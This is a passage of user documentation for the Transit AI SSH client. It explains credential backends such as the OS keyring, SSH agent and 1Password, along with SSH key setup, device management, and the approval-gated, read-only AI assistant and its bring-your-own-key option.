console cable](/docs/how-tos/console-cable/)** — USB-to-serial for out-of-band access ([tested cable](https://www.amazon.com/dp/B0774JV2QQ)). - **[Export a session's scrollback](/docs/how-tos/export-a-session/)** — save to disk with optional age encryption. ## Per-device preferences - **[Turn on syntax highlighting](/docs/how-tos/syntax-highlighting/)** — colorize keywords and statuses. - **[Turn on quick copy/paste](/docs/how-tos/quick-copy-paste/)** — auto-copy on select, right-click and middle-click paste. ## AI agent - **[Use the AI agent](/docs/how-tos/use-the-agent/)** — open the chat panel, ask a question, approve a command. - **[Bring your own provider key](/docs/how-tos/bring-your-own-key/)** — Pro-tier BYOK setup for Anthropic or OpenAI. --- # Sign in Source: https://transitai.app/docs/how-tos/sign-in/ This page covers how to sign in to Transit AI Cloud the first time. Sign-in is required for the AI agent; the SSH client works offline. ## Steps 1. Open Transit AI. The sidebar footer shows a **Sign in** chip. 2. Click **Sign in**. Transit AI launches your system browser at the sign-in page. 3. Complete the auth flow in the browser (email, password, passkey — whatever you've set up). 4. The browser shows a "You're signed in" confirmation and automatically hands control back to Transit AI via a `transit://` deep link. 5. The desktop's sidebar footer now shows your account chip with your tier (Free / Pro / Max). ## What's stored on disk After sign-in, two short-lived items live in your OS keychain: - An access token (15 minutes, refreshed automatically) - A rotating refresh token (30 days, replaced on every refresh) No prompts, no completion content, no device data is stored or synced to the cloud as part of sign-in. ## If the browser doesn't come back to Transit AI The deep-link handler is registered with your OS on first install. On macOS, if you've never run a signed Transit AI build, Launch Services may not have indexed the handler. Workarounds: - **macOS**: open Transit AI at least once before sign-in. - **Linux**: ensure your desktop environment has registered `transit-app.desktop`. - **Windows**: re-run the installer if the deep-link handler is missing. If you're still stuck, sign in from the browser and copy the URL it tries to open; paste it into the address bar of a fresh browser window to trigger the handler manually. ## Signing out **Settings → Account → Sign out**. Revokes the refresh token server-side and clears keychain entries. The next start prompts for sign-in again. --- # Create an auth profile Source: https://transitai.app/docs/how-tos/create-auth-profile/ An **auth profile** is a named pointer to wherever a device's credential lives — not the credential itself. The credential stays in its backing store; Transit AI reads it just long enough to authenticate an SSH session, then drops it from process memory. Transit AI supports several credential sources. Most can be configured from the UI; a couple require editing the inventory TOML directly because they need file paths and nested passphrase references. ## "Wait, why am I making a profile? I just type a username and password." Fair question. For decades the SSH workflow has been: open terminal, `ssh user@host`, type password, you're in. Transit AI doesn't change what happens on the wire — that's still a stock SSH connection — but it changes where the **password (or key)** lives in between connects. The reasons it's worth a few extra clicks the first time: - **You stop retyping the password every connect.** Once it's enrolled in your OS keychain (or SSH agent), Transit AI fetches it silently on each connect and drops it from memory after auth. - **You stop pasting it into a config file.** The inventory file records the *reference* — "look up `transit/lab-pw` in the keychain" — never the value. A leaked inventory leaks no passwords. - **You reuse one profile across many devices.** All your lab gear shares the same `admin` account? One profile, every device row points at it. - **The AI can't read it.** The AI and the credential store are isolated components with no programmatic path between them — a property of the build, not a comment. **If this is your first time, start with [OS keyring](#backend-os-keyring-recommended-for-most-people) below.** It's the closest mental model to "save my password somewhere safe so I don't retype it" — exactly what Keychain / Credential Manager / GNOME Keyring already do for your browser logins and Wi-Fi passphrases. If you want to authenticate with keys instead of passwords — a good idea for anything reachable from the public Internet — skip to [SSH agent](#backend-ssh-agent) or [1Password SSH agent](#backend-1password-ssh-agent), and see the [appendix on generating a key](#appendix-generate-an-ssh-key) if you don't have one yet. ## Open the auth profile manager 1. Click the **key icon** in the sidebar header. (Top of the left sidebar, between the refresh button and the collapse button.) 2. The Auth profile manager dialog opens, listing your existing profiles. 3. Click **New profile** to open the editor. ## Common fields | Field | Notes | |---|---| | **Name** | Stable, human-readable identifier. Devices reference it by name. Example: `lab-pw`. | | **Username** | The SSH login user. Example: `knox`. | | **Secret backend** | Where the password / key actually lives. See the per-type sections below. | ## Backend: OS keyring (recommended for most people) Stores the secret in your operating system's native keystore: - **macOS** — Keychain - **Windows** — Credential Manager - **Linux** — Secret Service (GNOME Keyring, KWallet, KeePassXC, …) This is the closest analogue to "save my password somewhere safe": your OS already does this for Wi-Fi passphrases, browser logins, and saved app credentials. Transit AI hands the password directly to that same service on save, and never reads it back into the UI afterwards. **Fields:** - **Keyring key** — the lookup name. Example: `transit/lab-pw`. Prefix with `transit/` so you can spot Transit-owned entries when you browse Keychain Access / `secret-tool` later. - **Secret value** — the actual password. Written straight to the OS keychain on save; the input field clears the moment you click Save. **Steps:** 1. Pick `OS keyring` from the Secret backend dropdown. 2. Enter a keyring key (e.g. `transit/lab-pw`). 3. Enter the secret value. 4. Click **Save**. Transit AI enrolls the secret into the keychain under the supplied key. To rotate the password later, edit the profile and Save a new value — the OS keychain entry is overwritten in place. ## Backend: SSH agent Uses your running SSH agent as the credential source. An **SSH agent** is a long-running process that holds your private keys unlocked in memory so you don't retype the key passphrase on every connect. Common implementations: - **OpenSSH `ssh-agent`** — ships with every Unix-y system; started by default on macOS, opt-in service on Windows 10+ ("OpenSSH Authentication Agent"). - **1Password SSH agent** — see the [dedicated section](#backend-1password-ssh-agent) below. - **`gpg-agent`** with `enable-ssh-support` — common in GnuPG-heavy setups. - **`keychain`, `ssh-ident`, `pageant`** — wrappers and Windows equivalents. Transit AI doesn't talk to any of them directly. It just dials the Unix domain socket (or Windows named pipe) named by the **`SSH_AUTH_SOCK`** environment variable. Whichever agent is at that socket — and however it stores its keys — Transit AI sees a list of identities and asks the agent to sign with one. **Fields:** - **Public-key fingerprint** (optional) — pin to a specific key when the agent serves multiple. Example: `SHA256:m3pYrW9pZpYrW9pZ…`. Leave blank to let the agent offer keys in order until one is accepted. **Steps:** 1. Make sure the agent is running and has at least one key loaded. On macOS / Linux: ```bash ssh-add -l ``` If it prints "The agent has no identities", load one: ```bash ssh-add ~/.ssh/transit_ed25519 ``` See the [appendix](#appendix-generate-an-ssh-key) if you don't have a key yet. 2. Pick `SSH agent` from the Secret backend dropdown. 3. Optionally paste a SHA256 fingerprint to pin a specific key. 4. Click **Save**. ### Finding `SSH_AUTH_SOCK` From a terminal: ```bash echo $SSH_AUTH_SOCK ``` What to expect by platform: - **macOS (OpenSSH default)** — `/private/tmp/com.apple.launchd.XXXXXX/Listeners`. Always set in GUI sessions; if empty, the launchd agent has been disabled. - **macOS (1Password)** — `~/Library/Group Containers/2BUA8C4S2C.com.1password/t/agent.sock`. See the next section. - **Linux (GNOME / KDE)** — typically `/run/user//keyring/ssh`, set by PAM at login. - **Linux (manual `ssh-agent` started from `.bashrc` / `.zshrc`)** — `/tmp/ssh-XXXXXX/agent.`. - **Windows** — the OpenSSH service uses the named pipe `\\.\pipe\openssh-ssh-agent`. The OS doesn't expose a socket path via env var; Transit AI's Windows build auto-detects the pipe. You do **not** need to set `SSH_AUTH_SOCK` on Windows for OpenSSH. If `echo $SSH_AUTH_SOCK` is empty on macOS / Linux, no agent is configured for that shell. Either start one (`eval "$(ssh-agent -s)"` for OpenSSH; see below for 1Password) or pick a different backend. If Transit AI is launched from the GUI (Finder, Spotlight, Activity Bar) rather than a terminal, **it inherits the *login shell's* environment**, not whatever your interactive `.zshrc` sets. If your agent is configured by `.zshrc` and Transit AI doesn't see it, export `SSH_AUTH_SOCK` from `~/.zprofile` (loaded for login shells) or a launchd `LaunchAgent` so GUI launches inherit it too. ## Backend: 1Password SSH agent [1Password's SSH agent](https://developer.1password.com/docs/ssh/agent/) turns your 1Password vault into the source of truth for SSH keys. The private key never lives on disk — it stays in 1Password's encrypted vault, and 1Password mediates each signing request with a Touch ID / Apple Watch / Windows Hello prompt (or a click in the 1Password app). Transit AI talks to 1Password the same way it talks to any other SSH agent: through the `SSH_AUTH_SOCK` socket. So this section is half "configure 1Password to be your agent" and half "make sure Transit AI's shell sees the socket". **In the auth profile editor:** pick `SSH agent` and (optionally) paste the SHA256 fingerprint of your 1Password key — the rest is configured outside Transit AI. ### Step 1: Enable the 1Password SSH agent 1. Open the **1Password desktop app** (the SSH agent is a desktop feature; the browser extension alone won't do). 2. Go to **Settings → Developer**. 3. Tick **Use the SSH agent**. 4. Tick **Display key names when authorizing connections** so the approval prompts tell you which key is being requested. 5. (Optional) Tick **Integrate with 1Password CLI** if you'll also use the `op` CLI for the [1Password CLI backend](#backend-1password-cli-vault-item-lookup) below. ### Step 2: Add an SSH key to 1Password Two ways: **Generate a brand-new key inside 1Password (recommended).** The private key never touches disk: 1. In the 1Password app, **+ → SSH Key**. 2. Click **Add Private Key → Generate a New Key**. 3. Pick **Ed25519** (smallest, fastest, modern — see the appendix for the RSA fallback rationale). 4. Name it something memorable (e.g. `Transit lab — ed25519`). 5. **Save**. 1Password generates the key inside its vault; the public key is shown for copying. 6. Copy the public key block (`ssh-ed25519 AAAA…`) and install it on each device that should accept it (see the [appendix](#install-the-public-key-on-a-device) for vendor-by- vendor syntax). **Import an existing key.** If you already generated one on disk (per the appendix below) and want to move it into 1Password: 1. In the 1Password app, **+ → SSH Key**. 2. **Add Private Key → Import**. 3. Pick the private key file (e.g. `~/.ssh/transit_ed25519`). 4. **Save**. 5. **Remove the on-disk copy** so the only copy lives in 1Password: ```bash rm ~/.ssh/transit_ed25519 ``` On SSDs, file-level "secure erase" is largely a myth — the real protection is disk-wide encryption (FileVault, BitLocker, LUKS), which you should already have on a laptop. ### Step 3: Make sure Transit AI sees the 1Password socket The 1Password SSH agent listens on a fixed path: - **macOS** — `~/Library/Group Containers/2BUA8C4S2C.com.1password/t/agent.sock` - **Linux** (1Password app, not the snap build) — `~/.1password/agent.sock` - **Windows** — named pipe `\\.\pipe\openssh-ssh-agent`; 1Password installs a service that owns the pipe. The 1Password app offers to write a snippet to your shell rc files that exports `SSH_AUTH_SOCK` to that path. **Confirm it's there:** ```bash echo $SSH_AUTH_SOCK ``` If you see the 1Password path, you're set — restart Transit AI from that shell. ### Add the export yourself (macOS) If the 1Password helper didn't write the snippet — or you want Transit AI to see the socket when **launched from Finder / Spotlight / Dock**, not just from a terminal — you need to put the value in **three places**, because each serves a different launch path. **Why three.** Modern macOS does not automatically source any shell file (`~/.zshrc`, `~/.zprofile`, `~/.zshenv`) for GUI- launched apps. Each launch surface has its own environment source: - **Terminal-launched apps** inherit your shell's environment (from `~/.zshrc`). - **Finder / Dock / Spotlight-launched apps** inherit `launchd`'s environment AT THE TIME FINDER/DOCK STARTED — i.e., login time. - **`open -a Transit` from a terminal** goes through launchd directly, so it picks up changes immediately. You need a setup that covers all three. #### (a) Recommended: install a LaunchAgent — permanent, survives reboot A LaunchAgent plist re-runs `launchctl setenv` at every login, *before* Finder/Dock spawn — so they (and every GUI app they launch) start with `SSH_AUTH_SOCK` already in their environment. This is the only configuration that "just works" indefinitely. Generate and load the plist in one shot. The heredoc expands `$HOME` to your actual home path before the file is written (plists themselves don't expand variables — so the absolute path gets baked in): ```bash cat > ~/Library/LaunchAgents/com.transit.ssh-auth-sock.plist < Label com.transit.ssh-auth-sock ProgramArguments /bin/launchctl setenv SSH_AUTH_SOCK $HOME/Library/Group Containers/2BUA8C4S2C.com.1password/t/agent.sock RunAtLoad EOF launchctl load ~/Library/LaunchAgents/com.transit.ssh-auth-sock.plist ``` From the next login onward, every GUI app — Transit AI included — inherits `SSH_AUTH_SOCK` pointing at 1Password's agent. No further config needed. #### (b) Apply it to your current session right now — no logout The LaunchAgent only fires at the *next* login. To get the same effect in your *current* session without rebooting, do all three steps below. (Skip this whole section if you're willing to log out + back in.) **1. Set the env var in launchd's running domain:** ```bash launchctl setenv SSH_AUTH_SOCK "$HOME/Library/Group Containers/2BUA8C4S2C.com.1password/t/agent.sock" ``` **2. Verify it took:** ```bash launchctl getenv SSH_AUTH_SOCK # should print the 1Password path ``` **3. Restart Finder and Dock so they pick up the new env:** ```bash killall Finder Dock ``` Both restart automatically within a second or two. Without this step, double-clicking Transit AI in Finder spawns it with **Finder's** environment (captured at login, before `setenv`), not launchd's current environment — so the new socket value doesn't propagate. Once `killall Finder Dock` has done its work, double-clicking Transit AI from `/Applications` inherits `SSH_AUTH_SOCK` correctly. #### (c) For terminal use (`ssh-add -l`, scripts) — append to `~/.zshrc` The LaunchAgent only populates launchd's environment for GUI apps. Terminal sessions inherit from your shell rc files, which are separate. To have `ssh-add -l` and other terminal commands talk to 1Password's agent, append to `~/.zshrc`: ```bash echo 'export SSH_AUTH_SOCK="$HOME/Library/Group Containers/2BUA8C4S2C.com.1password/t/agent.sock"' >> ~/.zshrc \ && source ~/.zshrc ``` Three details that matter in that line: - **Single quotes** around the whole `export …` string preserve the embedded double quotes — without them, the saved line breaks on the space in "Group Containers" when re-sourced. - **`>>` (append), not `>` (overwrite)** — `>` would truncate your existing `.zshrc`. - **`$HOME`, not `~`** — tilde doesn't expand inside double quotes. ### Step 4: Connect 1. Create an auth profile with backend `SSH agent`. Optionally paste the SHA256 fingerprint of your 1Password key (find it in the 1Password key item — **Copy fingerprint**). 2. Assign the profile to a device that has the matching public key installed. 3. **Connect**. 1Password's authorization prompt appears (Touch ID on macOS, Windows Hello on Windows, biometric on supported Linux); approve it, and Transit AI receives the signature without ever seeing the private key. ## Backend: 1Password CLI (vault item lookup) Uses the [1Password CLI](https://developer.1password.com/docs/cli) (`op`) to fetch a **password value** from a vault item at connect time. Distinct from the 1Password SSH agent above — this one is for plain-text secrets (router passwords, console-server passphrases, enable secrets), not for SSH keys. Requires `op` on your PATH and a signed-in 1Password session. **Fields:** - **1Password reference** — an `op://` URL pointing at the field. Example: `op://Personal/lab-pw/password`. **Steps:** 1. Install the 1Password CLI: `brew install --cask 1password-cli` (macOS) or follow [1Password's docs](https://developer.1password.com/docs/cli). 2. Sign in: `op signin`. 3. Pick `1Password` from the Secret backend dropdown. 4. Paste the `op://` reference. You can copy one from the 1Password app by right-clicking a field → **Copy Secret Reference**. 5. Click **Save**. ## Backend: environment variable Reads the secret from a process environment variable. Intended for headless / CI installs only — interactive desktop installs should prefer the OS keyring. **Fields:** - **Environment variable name** — the variable Transit AI will read. Example: `TRANSIT_LAB_PW`. **Steps:** 1. Export the variable in the shell that launches Transit AI (e.g. in your `.zshrc`, `.bashrc`, or systemd unit). 2. Pick `Environment variable` from the Secret backend dropdown. 3. Enter the variable name. 4. Click **Save**. The variable must be set before Transit AI starts; mid-session shell exports won't be visible. ## Backend: SSH key file (TOML-only) > *Advanced — there's no UI for this one. Open `transit.toml` in any > text editor; see [where this file lives](#where-the-inventory-file-lives) > for the path on your OS.* Loads a private key from a path on disk. The key may itself be passphrase-protected — the passphrase is configured as its own credential reference, so it can ride on a stronger backend like the OS keyring. **Edit your `transit.toml` directly:** ```toml [auth.lab-key] username = "knox" secret = { backend = "ssh_key", path = "/Users/knox/.ssh/lab_ed25519", passphrase = { backend = "keyring", key = "transit/lab-key-passphrase" } } ``` If the key has no passphrase, omit the `passphrase` field. ## Backend: age-encrypted file (TOML-only) > *Advanced — there's no UI for this one. Open `transit.toml` in any > text editor; see [where this file lives](#where-the-inventory-file-lives) > for the path on your OS.* Loads the secret from an `age`-encrypted file, unlocked by a startup passphrase. Last-resort fallback for minimal Linux installs without Secret Service. **Edit your `transit.toml` directly:** ```toml [auth.lab-encrypted] username = "knox" secret = { backend = "encrypted_file", path = "/Users/knox/.config/transit/lab-pw.age" } ``` ## Appendix: Generate an SSH key If you don't have an SSH key yet — or you want a dedicated key for network gear instead of the personal one your laptop uses for GitHub — here's the short version. ### Pick a key type | Type | Use when | Notes | |---|---|---| | **Ed25519** | Anything modern (the default choice) | Tiny (256-bit), fast, secure. Native support in OpenSSH ≥ 6.5, Junos ≥ 18.3, Cisco IOS-XE ≥ 16.6, Arista EOS ≥ 4.21. | | **RSA 4096** | Legacy gear that doesn't recognize Ed25519 | Wider compatibility (works back to OpenSSH 5.x and pre-2015 IOS). Slower to generate, larger files. Stay at **4096 bits or higher** — 2048 is no longer considered hardened. | | **ECDSA** | (Not recommended) | NIST curves; some environments mistrust them. Prefer Ed25519. | | **DSA** | (Never) | Disabled in modern OpenSSH; Transit AI's cipher floor rejects it. | ### Generate an Ed25519 key (recommended) ```bash ssh-keygen -t ed25519 -C "transit-lab" -f ~/.ssh/transit_ed25519 ``` You'll be prompted for a passphrase. **Set one** unless you're about to immediately move the key into 1Password (where it gets hardware-backed protection instead). The passphrase encrypts the key on disk — a stolen laptop with no passphrase is a stolen key. This produces two files: - `~/.ssh/transit_ed25519` — the private key. Treat it like a password. - `~/.ssh/transit_ed25519.pub` — the public key. Safe to copy anywhere; this is what you install on devices. ### Generate an RSA 4096 key (fallback for legacy gear) ```bash ssh-keygen -t rsa -b 4096 -C "transit-lab-rsa" -f ~/.ssh/transit_rsa ``` Same passphrase guidance. The `.pub` file is what you install on devices; the private key stays on your machine (or in 1Password). ### Load the key into your SSH agent OpenSSH agent (macOS / Linux): ```bash ssh-add ~/.ssh/transit_ed25519 ``` On macOS, add `--apple-use-keychain` (Monterey and later) so the passphrase is stored in Keychain and doesn't prompt on every reboot: ```bash ssh-add --apple-use-keychain ~/.ssh/transit_ed25519 ``` To pre-load the key on every login, add to `~/.ssh/config`: ``` Host * AddKeysToAgent yes UseKeychain yes # macOS only IdentityFile ~/.ssh/transit_ed25519 ``` To load the key into the 1Password SSH agent instead, follow [Step 2 of the 1Password SSH agent section](#step-2-add-an-ssh-key-to-1password) above and remove the on-disk copy afterwards. ### Install the public key on a device Copy the *public* key (`.pub` file) to the device's authorized-key store: ```bash cat ~/.ssh/transit_ed25519.pub # ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI… transit-lab ``` Paste that string into the device CLI. The exact command varies by vendor — refer to the vendor's admin guide for the current syntax. As examples: - **Junos**: `set system login user knox authentication ssh-ed25519 "ssh-ed25519 AAAA…"` - **Cisco IOS-XE / NX-OS**: `configure terminal` → `ip ssh pubkey-chain` → `username knox` → `key-string` → paste the base64 block (split into ≤72-char chunks on IOS) → `exit` back to exec mode. - **Arista EOS**: `username knox ssh-key ssh-ed25519 AAAA…`. - **Linux server**: `ssh-copy-id -i ~/.ssh/transit_ed25519.pub knox@host`. After the public key is installed, point the device's auth profile in Transit AI at your `SSH agent` profile (or the 1Password SSH agent recipe) and **Connect** — no password prompt should appear. ## Where the inventory file lives | OS | Path | |---|---| | macOS | `~/Library/Application Support/Transit/transit.toml` | | Windows | `%APPDATA%\Transit\transit.toml` | | Linux | `~/.config/Transit/transit.toml` | You can also override the path with the `TRANSIT_INVENTORY` environment variable. ## What's never in the inventory file The secret value itself. The inventory only ever holds a reference (keyring key, `op://` URL, environment variable name, file path). A pre-load scan rejects inventory files that contain anything that looks like an inline credential. --- # Find your user ID and organization ID Source: https://transitai.app/docs/how-tos/find-your-ids/ You may need your **user ID** or **organization ID** when contacting support, filing a bug report, or (for enterprise admins) configuring aggregate reporting. Both IDs are UUIDs assigned at first sign-in. Neither is sensitive — they identify a tenant in our database, but holding one doesn't grant access to anything. ## Find them in Settings → Account 1. Click your account chip in the sidebar footer (bottom-left). 2. Choose **Settings…** from the popover. 3. Click the **Account** tab in the Settings dialog. 4. The first two rows show: - **User ID** — your individual identity (UUID). - **Organization** — your org's ID (UUID). 5. Click either value to copy it to the clipboard. ## What each ID means - **User ID** identifies a single human (one sign-in → one user ID). It's the identity attached to every API call and every entry in our usage logs. - **Organization ID** identifies the tenant your subscription attaches to. On first sign-in, a personal organization is auto-created so subscription + billing always run against an org. When you accept an enterprise invitation, your active organization switches to the inviting one. ## Sharing them - **For a support ticket**: paste both. We use the user ID to find your usage events; the org ID lets us see your subscription state. - **For a bug report on GitHub**: user ID is enough. - **Don't share** in a public forum post or on social media. They're not credentials, but they're identifiers and we'd rather not have them indexed. --- # Add a device Source: https://transitai.app/docs/how-tos/add-a-device/ A **device** in Transit AI is a single host you want to SSH into. Adding a device records the connection details and the name of an auth profile to use. The auth profile (and the credential it references) must already exist — see [Create an auth profile](/docs/how-tos/create-auth-profile/) if you haven't set one up yet. ## Open the new-device dialog Two ways: - Click the **+ icon** in the sidebar header. - Right-click empty space in the device tree and pick **New device…**. To pre-fill the group field with an existing group path, right-click a group folder in the tree and pick **New device in this group…**. ## Fields | Field | Required | Notes | |---|---|---| | **ID** | yes | Stable identifier. Shown in the sidebar; used as the default tab label on connect. Example: `vEX1`. | | **Host** | yes | DNS name or IP address. Example: `172.20.1.35` or `core-sw1.lab`. | | **Port** | yes | SSH port. Default: `22`. | | **Vendor** | yes | Selects the per-vendor permit list for AI-proposed commands. See [Vendor coverage](/docs/vendors/). | | **Group** | no | Slash-separated path for sidebar grouping. Example: `Lab/Junos`. | | **Auth profile** | yes | Pick from the list of existing profiles. Click **+ New** in the dropdown to create one inline. | | **Syntax highlighting** | no | Toggle. Off by default. See [Turn on syntax highlighting](/docs/how-tos/syntax-highlighting/). | | **Quick copy/paste** | no | Toggle. Off by default. See [Turn on quick copy/paste](/docs/how-tos/quick-copy-paste/). | ## Steps 1. Open the new-device dialog (see above). 2. Enter an **ID**, **Host**, and **Port** (or accept default 22). 3. Pick the **Vendor**. This matters — it drives which commands the AI is allowed to propose. 4. Optionally enter a **Group** path (e.g. `Lab/Junos`). Groups can be nested with `/`. 5. Pick or create an **Auth profile**. 6. Optionally enable **Syntax highlighting** and / or **Quick copy/paste** for this device. 7. Click **Save**. The device appears in the sidebar tree. ## What's written to disk The device is appended to your `transit.toml` inventory file under its group path. The file is rewritten atomically (write to a temp file, then rename) so an interrupted save can't corrupt the inventory. The auth profile reference is stored by name — the credential itself is fetched from the chosen backend at connect time and never copied into the inventory. ## Next steps - [Connect to the device](/docs/how-tos/connect-to-a-device/) - [Edit the device](/docs/how-tos/edit-a-device/) to change its settings later. --- # Connect to a device Source: https://transitai.app/docs/how-tos/connect-to-a-device/ This page covers opening an SSH session to a device that's already in your inventory. If the device isn't there yet, see [Add a device](/docs/how-tos/add-a-device/) first. ## Three equivalent ways Use whichever your hands are already on: 1. **Right-click** the device row in the sidebar → **Connect**. 2. **Double-click** the device row. 3. **Click** the device row to focus it, then press **Enter**. All three open a new tab at the top of the work area and focus it. ## What happens during connect 1. Transit AI resolves the device's auth profile, fetches the credential from its backend (OS keyring, SSH agent, 1Password, etc.), and authenticates over SSH. 2. On **first connect** to a host, Transit AI prompts you to confirm the host-key fingerprint (TOFU — trust on first use). Accepting pins the fingerprint to your `known_hosts.toml` file. Rejecting aborts the connect. 3. After auth, a PTY shell opens. The tab appears in the strip at the top of the work area and is focused. ## Connecting to the same device more than once Each **Connect** opens a new tab. Multiple sessions per device are allowed. Tab labels disambiguate as `vEX1`, `vEX1 (2)`, `vEX1 (3)`, etc. ## If the connection fails Common failures: - **Authentication failed**: the credential in your auth profile is wrong or expired. Open the auth profile (key icon in the sidebar → the row → Edit) and re-enter the secret. - **Host-key mismatch**: the device's fingerprint has changed since the last connect. Transit AI refuses to connect; you must edit `~/.config/transit/known_hosts.toml` by hand to remove the old pin. This is intentional — a silently changed host key is what a MITM attack looks like. - **Connection refused / timeout**: networking. Check the host / port, your VPN, and any corporate proxy. - **Cipher unsupported**: the device offers only weak crypto (e.g. SHA1 KEX on old Cisco IOS-XE images). Transit AI shows a per-device opt-in dialog with the offered algorithms. Click **Connect anyway** to accept once, or tick **Remember** to mark the device as legacy-crypto in your inventory. ## Disconnecting Two ways: - **Type `exit` / `logout`** in the terminal. The remote closes the channel; the tab stays in place with a "session ended" banner so you can still scroll the final output. Press **Enter** in the ended pane to reconnect (see [Reconnect a closed session](/docs/how-tos/reconnect-a-session/)), or click the X on the tab to close it. - **Click Disconnect** in the pane header (or click the X on the tab). A confirm dialog asks before closing a still-connected session. --- # Edit a device Source: https://transitai.app/docs/how-tos/edit-a-device/ This page covers editing a device that's already in your inventory. ## Open the edit dialog 1. Right-click the device row in the sidebar. 2. Pick **Edit device…** from the context menu. 3. The Edit device dialog opens, pre-filled with the device's current values. ## Editable fields The same fields as the new-device dialog (see [Add a device](/docs/how-tos/add-a-device/)): - ID - Host - Port - Vendor - Group - Auth profile - Syntax highlighting toggle - Quick copy/paste toggle ## Effects on active sessions Editing a device does **not** affect sessions that are already open. The new values apply to subsequent connects: - Changing **Host**, **Port**, **Vendor**, or **Auth profile**: the next Connect uses the new values; existing sessions keep running with the old values until you close them. - Toggling **Syntax highlighting** or **Quick copy/paste**: takes effect on the next mouse click / keystroke in any open pane for this device. You don't need to reconnect. ## Renaming a group To rename a group folder (and move every device in it): 1. Right-click the group folder in the sidebar. 2. Pick **Rename group…**. 3. Enter the new path. You can change a single segment (`Lab` → `LAB`) or restructure (`Lab/Junos` → `Production/Junos`). 4. Click **Save**. Every device under the old path has its `group` field rewritten. ## Deleting a device 1. Right-click the device row in the sidebar. 2. Pick **Delete device…**. 3. Confirm. The device is removed from the inventory. The auth profile (and any credentials it references) is not touched. If you want to remove the auth profile too: 1. Click the key icon in the sidebar header. 2. Find the profile in the manager. 3. Click **Delete** on the row. If the profile is still referenced by another device, the deletion is refused and the list of referencing devices is shown. --- # Use the AI agent Source: https://transitai.app/docs/how-tos/use-the-agent/ Transit AI's AI assistant is a read-only investigator. It can list your open sessions, read scrollback (with secrets stripped out), propose commands (gated by a per-vendor permit list and your approval click), and ask you clarifying questions. That's the whole menu — see [Features → AI agent](/docs/features/) for more detail. This page covers how to use it day-to-day. ## Open the chat panel - **Keyboard:** press **Cmd/Ctrl + J**. - **Mouse:** click the chat icon on the right-hand side of the main area. The panel opens on the right. Drag the divider to resize. ## Pick a model (optional) The chat panel header shows the active model. Click it to pick a different one from your tier's allow-list: - **Free tier**: `claude-sonnet-4-6`. - **Pro / Max**: `claude-sonnet-4-6`, `claude-opus-4-7`, `gpt-4o`, `gpt-4o-mini`. Switching mid-conversation starts the next turn on the new model; prior turns stay on whatever model answered them. ## Ask a question 1. Open at least one SSH session to a device you want the agent to investigate. The agent can only see sessions you have open. 2. Type a question in the input box at the bottom of the chat panel. 3. Press **Cmd/Ctrl + Enter** (or click **Send**) to submit. 4. The AI streams its response. If it needs to read scrollback, it does so silently. If it wants to **run a command**, an approval dialog pops up. ## Approve or deny a command When the AI proposes a command, an approval dialog appears with: - The command it wants to run (e.g. `show interfaces terse`). - Which session it'll run on (device name + session ID). - For Linux / Unix devices: an amber warning banner, because Transit AI has no per-vendor permit list for generic Linux — your click is the only check. Three buttons: - **Approve** — runs the command in the named session. Output is captured (until the device goes silent for ~800ms) and fed back to the agent. - **Approve and always allow** — runs the command AND remembers a regex pattern for this chat-and-session pair so future commands matching the same pattern skip the dialog. The pattern is held in memory only; it clears when you close the chat or quit Transit AI. The per-vendor permit list still runs on every command regardless. - **Deny** — refuses. The AI is told you said no and decides what to do next. The dialog cannot be dismissed by Enter, Escape, or clicking outside. You must explicitly choose one of the three. ### Always-allow shortcut — what it does and doesn't do It **skips the approval dialog** for commands matching your saved pattern. It **does not** skip the per-vendor permit list. The permit check runs on every command. A command the list denies stays denied — the AI is told it can't run it, regardless of any shortcut you've saved. It **is held in memory only**, scoped to the current chat-and-session pair. Closing the chat or restarting Transit AI clears it. On **Linux / Unix devices**, the always-allow shortcut is unavailable. Transit AI hides the option and refuses to honor it — every command on a Linux box gets its own approval dialog, full stop. ## Cancel a running investigation Press **Stop** in the chat panel header, or close the chat — either one stops the AI mid-task: - If you stop between turns, the chat ends cleanly with a "User aborted" message. - If you stop while a command is running, Transit AI drops the in-flight result and the chat ends. Stopping doesn't undo work the AI has already done — a command that was approved and ran has, in fact, run. ## Auto-stop — when an investigation ends by itself Each investigation is capped at: - **12 back-and-forth rounds** - **50,000 tokens** - **120 seconds** of wall clock Hitting any cap ends the investigation with a chat message saying which cap fired. Send a follow-up question to start fresh. ## What the agent never sees - Your passwords or private keys — the AI has no programmatic path to your credential store. An automated check fails the build if anyone tries to add one. - Bytes that look like secrets in device output — PEM blocks, encrypted passwords, AWS keys, JWTs and similar are stripped on your machine before any scrollback reaches the AI, and replaced with placeholders like `[REDACTED:pem#1]`. See [Security model](/docs/security/) for the full architectural detail. --- # Bring your own provider key (BYOK) Source: https://transitai.app/docs/how-tos/bring-your-own-key/ **BYOK** lets you use your own Anthropic or OpenAI API key for AI agent calls instead of Transit AI's cloud-resident key. Available on **Pro and Max** tiers as a **$100 one-time unlock** — a single purchase attaches the entitlement to your subscription for as long as you remain subscribed. After the unlock completes, the **BYOK** tab appears in Settings and you can enroll one or both provider keys. This page covers setting up BYOK for one or both providers, assuming the unlock is already in place. ## How BYOK fits in the request path Every AI call still goes through `api.transitai.app` — the cloud proxy is the connection layer regardless of which key it uses. What changes: - Your key is read from your **OS keychain** at request time. - It's sent to the cloud proxy as a request-body field (not a header). - The proxy strips the field before forwarding to Anthropic or OpenAI, and uses your key instead of the cloud-resident one. - The key is **never persisted server-side**. The cloud's logs contain only metadata (token counts, latency, cost) — no key bytes, no prompt, no completion. If your BYOK key becomes invalid (rotated, expired), AI requests return an "unauthorized" error from the provider. Transit AI doesn't silently fall back to the cloud-resident key — that would surprise you with a charge you didn't intend. ## Steps — enroll a key 1. Click your account chip in the sidebar footer. 2. Pick **Settings…** from the popover. 3. Click the **BYOK** tab. (If it's not there, you're on the Operator tier — BYOK isn't included on Operator — or you haven't purchased the $100 unlock yet on a Pro or Max subscription. See [Pricing FAQ](/docs/faq/#pricing).) 4. Pick a provider (**Anthropic** or **OpenAI**). 5. Paste the key into the field. Keys aren't echoed back to the UI once saved. 6. Click **Save**. The key is enrolled in your OS keychain under a service name separate from your SSH credentials. You can enroll keys for both providers — the agent picks the right one based on the chosen model. ## Anthropic key format Starts with `sk-ant-…`. Generate at [console.anthropic.com → API Keys](https://console.anthropic.com). Pick a key with the scope you want — Transit AI only uses `messages.create` (the Messages API), so a key restricted to inference is enough. ## OpenAI key format Starts with `sk-…` or `sk-proj-…`. Generate at [platform.openai.com → API Keys](https://platform.openai.com/api-keys). Transit AI uses `chat.completions` only. A project-scoped key is fine. ## Steps — rotate or remove a key To rotate: paste the new key into the 